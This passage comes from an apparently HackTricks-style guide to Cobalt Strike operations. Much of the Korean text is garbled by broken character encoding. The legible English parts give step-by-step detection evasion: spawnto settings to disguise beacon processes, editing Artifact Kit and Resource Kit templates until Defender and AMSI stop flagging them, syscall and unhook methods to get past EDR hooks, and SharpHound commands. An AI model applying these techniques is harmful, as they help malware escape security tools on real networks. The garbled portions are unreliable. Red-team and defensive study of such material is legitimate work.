๋๋ค. ๋ฐ๋ผ์ ์ด๋ ํ๋ ๊ธฐ๋ฐ ํ์ง ์์คํ
์ ์ํด ๊ฐ์ง๋ ์ ์์ต๋๋ค. ๋ํ, EDR์ด ๋์คํฌ์ ์๋ ์ฝ๋๋ฅผ ํฌํจํ๋ ์ค๋ ๋๋ฅผ ์ค์บํ์ฌ ๊ฐ์งํ ์ ์์ต๋๋ค (๋ธ๋ผ์ฐ์ ์ ๊ฐ์ ํ๋ก์ธ์ค๋ JIT๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ์ผ๋ฐ์ ์ผ๋ก ์ด์ ๊ฐ์ต๋๋ค). ์: https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2
Spawnas | PID ๋ฐ PPID ๊ด๊ณ
์๋ก์ด ํ๋ก์ธ์ค๋ฅผ ์์ฑํ ๋ ํ๋ก์ธ์ค ๊ฐ์ ์ ๊ท ๋ถ๋ชจ-์์ ๊ด๊ณ๋ฅผ ์ ์งํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. svchost.exec๊ฐ iexplorer.exe๋ฅผ ์คํํ๋ ๊ฒฝ์ฐ ์์ฌ์ค๋ฌ์ ๋ณด์ผ ๊ฒ์
๋๋ค. svchost.exe๋ ์ ์์ ์ธ Windows ํ๊ฒฝ์์ iexplorer.exe์ ๋ถ๋ชจ๊ฐ ์๋๊ธฐ ๋๋ฌธ์
๋๋ค.
Cobalt Strike์์ ์๋ก์ด ๋น์ฝ์ด ์์ฑ๋ ๋ ๊ธฐ๋ณธ์ ์ผ๋ก **rundll32.exe**๋ฅผ ์ฌ์ฉํ๋ ํ๋ก์ธ์ค๊ฐ ์์ฑ๋์ด ์๋ก์ด ๋ฆฌ์ค๋๋ฅผ ์คํํฉ๋๋ค. ์ด๋ ๋งค์ฐ ์๋ฐํ์ง ์์ผ๋ฉฐ EDR์ ์ํด ์ฝ๊ฒ ๊ฐ์ง๋ ์ ์์ต๋๋ค. ๋ํ, rundll32.exe๋ ์ธ์ ์์ด ์คํ๋์ด ๋์ฑ ์์ฌ์ค๋ฝ์ต๋๋ค.
๋ค์ Cobalt Strike ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ์๋ก์ด ๋น์ฝ์ ์์ฑํ ๋ค๋ฅธ ํ๋ก์ธ์ค๋ฅผ ์ง์ ํ ์ ์์ผ๋ฉฐ, ์ด๋ฅผ ํตํด ๊ฐ์ง ๊ฐ๋ฅ์ฑ์ ์ค์ผ ์ ์์ต๋๋ค:
spawnto x86 svchost.exe
๋น์ ์ ํ๋กํ์์ spawnto_x86 ๋ฐ spawnto_x64 ์ค์ ์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์์ ํธ๋ํฝ ํ๋ก์
๊ณต๊ฒฉ์๋ ๋๋๋ก ๋๊ตฌ๋ฅผ ๋ก์ปฌ์์ ์คํํ ์ ์์ด์ผ ํ๋ฉฐ, ์ฌ์ง์ด ๋ฆฌ๋
์ค ๋จธ์ ์์๋ ํผํด์์ ํธ๋ํฝ์ด ๋๊ตฌ์ ๋๋ฌํ๊ฒ ํด์ผ ํฉ๋๋ค (์: NTLM ๋ฆด๋ ์ด).
๊ฒ๋ค๊ฐ, ํจ์ค-๋-ํด์ ๋๋ ํจ์ค-๋-ํฐ์ผ ๊ณต๊ฒฉ์ ์ํํ ๋ ๊ณต๊ฒฉ์๊ฐ ์์ ์ LSASS ํ๋ก์ธ์ค์ ์ด ํด์ ๋๋ ํฐ์ผ์ ์ถ๊ฐํ๋ ๊ฒ์ด ๋ ์๋ฐํ ์ ์์ผ๋ฉฐ, ํผํด์ ๋จธ์ ์ LSASS ํ๋ก์ธ์ค๋ฅผ ์์ ํ๋ ๊ฒ๋ณด๋ค ์ด๋ฅผ ํตํด ํผ๋ฒํ๋ ๊ฒ์ด ๋ ์์ ํฉ๋๋ค.
๊ทธ๋ฌ๋ ์์ฑ๋ ํธ๋ํฝ์ ์ฃผ์ํด์ผ ํฉ๋๋ค. ๋ฐฑ๋์ด ํ๋ก์ธ์ค์์ ๋น์ ์์ ์ธ ํธ๋ํฝ(์ผ๋ฅด๋ฒ ๋ก์ค?)์ ์ ์กํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค. ์ด๋ฅผ ์ํด ๋ธ๋ผ์ฐ์ ํ๋ก์ธ์ค๋ก ํผ๋ฒํ ์ ์์ง๋ง, ํ๋ก์ธ์ค์ ์์ ์ ์ฃผ์
ํ๋ ๊ฒ์ด ๋ฐ๊ฐ๋ ์ ์์ผ๋ฏ๋ก ์๋ฐํ ๋ฐฉ๋ฒ์ ์๊ฐํด์ผ ํฉ๋๋ค.
### Avoiding AVs
#### AV/AMSI/ETW Bypass
Check the page:
<a class="content_ref" href="av-bypass.md"><span class="content_ref_label">Antivirus (AV) Bypass</span></a>
#### Artifact Kit
Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
#### Resource Kit
The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
Modifying the detected lines one can generate a template that won't be caught.
Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
#### Function hooks | Syscall
Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
This can be set in the profile or suing the command **`syscall-method`**
However, this could also be noisy.
Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋
๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.